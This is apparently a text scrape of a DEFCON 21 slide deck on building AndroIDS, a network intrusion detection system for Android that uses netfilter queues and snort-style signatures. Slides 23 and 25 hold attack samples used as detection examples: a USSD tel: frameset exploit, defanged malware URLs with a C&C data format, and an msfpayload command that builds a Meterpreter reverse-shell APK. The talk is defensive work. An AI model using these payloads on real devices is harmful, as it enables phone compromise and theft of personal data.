The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 

Building an Android IDS on Network Level - DEFCON 21

  • 1. BUILDING AN ANDROID IDS ON NETWORK LEVEL Jaime Sanchez @segofensiva http://www.seguridadofensiva.com jsanchez@seguridadofensiva.com
  • 2. 2 $  WHO  I  AM   §  Passionate  about  computer  security. §  Computer  Engineering  degree  and  an  Execu7ve   MBA.   §  In  my  free  7me  I  conduct  research  on  security   and  work  as  an  independent  consultant. §  I’m  from  Spain;  We’re  sexy  and  you  know  it. §    Other  conferences: §  RootedCON  in  Spain §  Nuit  Du  Hack  in  Paris   §  Black  Hat  Arsenal  USA §  Next  months:  DerbyCON  and  Hack7vity. BUILDING AN ANDROID IDS ON NETWORK LEVEL DEFCON 21
  • 3. 3 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL FIRST  TIME  IN  LAS  VEGAS  !!
  • 4. 4 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL §  Being  popular  is  not  always  a  good  thing. §  Mobile  malware  and  threats  are  clearly  on  the  rise. §  Over  100  million  Android  phones  shipped  in  the  second  quarter  of   2012  alone. §    Targets  this  large  are  difficult  for  aNackers  to  resist!   WHY?
  • 5. 5 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL USSD  EXPLOIT WEBKIT  VULNERABILITIES TARGETED  MALWARE !!!  METERPRETER  FOR   ANDROID  !!!
  • 6. 6 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL §   In   order   to   analyze   the   traffic   flows   we’ll   create   a   VPN   tunnel   between  our  Android  device  and  our  computer. §   Configure   and   launch   snort   on   the   remote   machine   to   detect   suspicious  traffic. §     We   can   also   use   tools   like   tcpdump   to   capture   traffic   for   later   analysis. FIRST  APPROACH VPN eth0:WiFi rmnet0: 3G snort tcpdump
  • 7. 7 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL PROBLEMS
  • 8. 8 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL CONTINUED  MY  LIFE  ... §  OSfooler  is  a  pracIcal  approach  presented  at  Black  Hat  Arsenal  USA   2013.  It  can  be  used  to  detect  and  defeat  acIve  and  passive  remote  OS   fingerprinIng  from  tools  like  nmap,  p0f  or  commercial  appliances. FUCKYEAH!!
  • 9. KERNEL  SPACE USER  SPACE §   KERNEL   SPACE   is   strictly   reserved   for   running   the   kernel,   kernel   extensions,  and  most  device  drivers.   §  USER  SPACE  usually  refers  to  the  various  programs  and  libraries  that   the   operaIng   system  uses  to  interact  with  the  kernel:  soQware  that   performs  input/output,  manipulates  file  system,  objects,  etc. How  i  met  your  packetFrom  kernel  Space  to  user  Heaven 9 FROM KERNEL SPACE TO USER HEAVEN NUIT DU HACK 2013 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL DEFCON 21 VS
  • 10. 10 How Imet your packets How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL DEFCON 21
  • 11. NIC  Memory DMA  EngineInterrupt Incoming  Packet Ring Buffer Interrupt Handler NIC Memory Kernel Packet  Data IP  Layer TCP  Process TCP  recv  Buffer APPLICATION DEVICE  DRIVER KERNEL  SPACE USER  SPACE Poll  List soirq tcp_v4_rcv() Pointer  to Device Socket Backlog ip_rcv() read() locally  des7ned  packets  must  pass  the   INPUT  chains  to  reach  listening  sockets INPUT FORWARD PREROUTING MANGLECONNTRACK FILTER forwarded  and  accepted  packets Inbound  Packets forwarded   packets local packets How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL DEFCON 21
  • 12. How  i  met  your  packetFrom  kernel  Space  to  user  Heaven   §  A  target  extension  consists   of   a  KERNEL  MODULE,  and  an  opIonal   extension  to  iptables  to  provide  new  command  line  opIons. §  There  are  several  extensions  in  the  default  NeVilter  distribuIon: 12 FROM KERNEL SPACE TO USER HEAVEN NUIT DU HACK 2013 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL DEFCON 21
  • 13. §  For  this  to  be  useful,  two  further  components  are  required: • a   QUEUE   HANDLER   which   deals   with   the   actual   mechanics   of   passing  packets  between  the  kernel  and  userspace • a   USERSPACE   APPLICATION   to   receive,   possibly   manipulate,   and   issue  verdicts  on  packets. §  The  default  value  for  the  maximum  queue  length  is  1024.  Once  this   limit  is   reached,   new   packets   will   be   dropped  unIl   the   length   of   the   queue  falls  below  the  limit  again.   $ iptables -A INPUT -j NFQUEUE --queue-num 0 DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
  • 14. 14 DEFCON 21 BUILDING AN ANDROID IDS ON NETWORK LEVEL §   I   need   to   process   traffic   before   being  processed  inside  my  Android   device. §  I  can  redirect  all  network  packet   from  Kernel  Space  to  User  Space §  I  can  do  whatever  I  want  with  the   packets:   analyze,   process,   modify   them §  This  is  done  in  Real-­‐7me. SUMMARY
  • 15. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL AndroIDS §   Create   an   open   source   network-­‐based   intrusion   detecIon   system   (IDS)   and   network-­‐based   intrusion   protecIon  system     (IPS)   has   the   ability   to   perform   real-­‐Ime   traffic   analysis   and   packet   logging   on   Internet  Protocol  (IP)  networks: §  It  should  feature: §  Protocol  analysis §  Content  searching §  Content  matching
  • 16. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL IDS  ARCHITECTURE:  SENSOR §   Runs   conInuously   without   human   supervision  and  feature: §  Analyze  traffic §  Send  push  alerts  to  the  Android  device   in  order  to  warn  the  user  about  the  threat §   Report   to   Logging   Server   Custom   reacIve  acIons: §  Drop  specific  packet §  Add  new  rule  in  iptables  firewall §  Launch  script  /  module §   Sync   aaack   signatures   to   keep   them   updated. §  It  should  impose  minimal  overhead.
  • 17. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL IDS  ARCHITECTURE:  SERVER §   The   server   is   running   inside   a   Linux   Box,   and   is   receiving   all   the   messages  the  Android  sensor  is  sending. §  Server  is  responsible  for: §  Send  signatures  to  remote  devices §  Store  events  in  database §  Detects  staIsIcal  anomalies  &  analysis  real-­‐Ime. Android Device Internet Firewall IDS  Server  & Database Web Interface
  • 18. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL PROTOCOL  ANALYSIS LOOKS  LIKE  I  PICKED  THE  WRONG  WEEK TO  QUIT  SNIFFING  PACKETS
  • 19. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL EXAMPLE   §  Packet  with  FIN,  SYN,  PUSH  and  URG  flags  ac7ve.   §  Report  to  the  Central  Logger  and  DROP  the  packet.
  • 20. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL REMOTE  OS  FINGERPRINTING §  Detect  and  drop  packet  sent  from  well-­‐known  scanning  tools. §  nmap  OS  fingerprin7ng  works  by  sending  up  to  16  TCP,  UDP,  and  ICMP  probes   to  known  open  and  closed  ports  of  the  target  machine. SEQUENCE  GENERATION  (SEQ,  OPS,  WIN  &  T1) ICMP  ECHO  (IE) TCP  EXPLICIT  CONGESTION  NOTIFICATION  (ECN) TCP  T2-­‐T7 UDP
  • 21. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL PATTERN  MATCHING I’M  WATCHING  YOU...
  • 22. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL SIGNATURE  FORMAT §  With  the  help  of  custom  build  signatures,  the  framework  can  also  be   used  to  detect  probes  or  aaacks  designed  for  mobile  devices   §  Useful  signatures  from  Snort  and  Emerging  Threats §  Convert  snort-­‐like  rules  to  a  friendly  format:
  • 23. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL USSD  EXPLOIT §  A  USSD  code  is  entered  into  phones  to  perform   acIons. §   They  are   mainly   used  by   network   operators   to   provide   customers   with   easy   access   to   pre-­‐ configured  services,  including: §  call-­‐forwarding §  balance  inquiries §  mulIple  SIM  funcIons. §  The  HTML  code  to  execute  such  an  acIon  is  as  follows: <a  href="tel:xyz">Click  here  to  call</a> §  Example  exploit: <frameset>  <frame  src="tel:*2767*3855#"  />  </  frameset>
  • 24. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL WEB  SIGNATURES
  • 25. DEFCON 21 How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL MALWARE §  ANDR.TROJAN.SMSSEND §  Download  from: §  hxxp://adobeflashplayer-­‐up.ru/?a=RANDOM_CHARACTERS  –  93.170.107.184   §  hxxp://googleplaynew.ru/?a=RANDOM_CHARACTERS  –  93.170.107.184 §  hxxp://browsernew-­‐update.ru/?a=RANDOM_CHARACTERS  –  93.170.107.184 §  Once  executed,  connect  to  C&C:    gaga01.net/rq.php §oard=unknown;brand=generic;device=generic;imei=XXXXXX;imsi=XXXXXX;session_i d=1;operator=XXX;sms0=XXXXXX;sms1=XXXXXX;sms2=XXXXXX;]me=XXXXXX;]mezo ne=XXXXXX §  Search  paaern:  rq.php §  METERPRETER §    It  features  command  history,  tab  compleIon,   channels,  and  more. §  Let’s  try: $  msfpayload  android/meterpreter/reverse_tcp  LHOST=192.168.0.20  R  >  meter.apk $  file  meter.apk        meter.apk:  Zip  archive  data,  at  least  v2.0  to  extract
  • 26. T  H  A  N  K      Y  O  U  ! How  i  met  your  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL DEFCON 21 Jaime  Sánchez @segofensiva jsanchez@segofensiva.com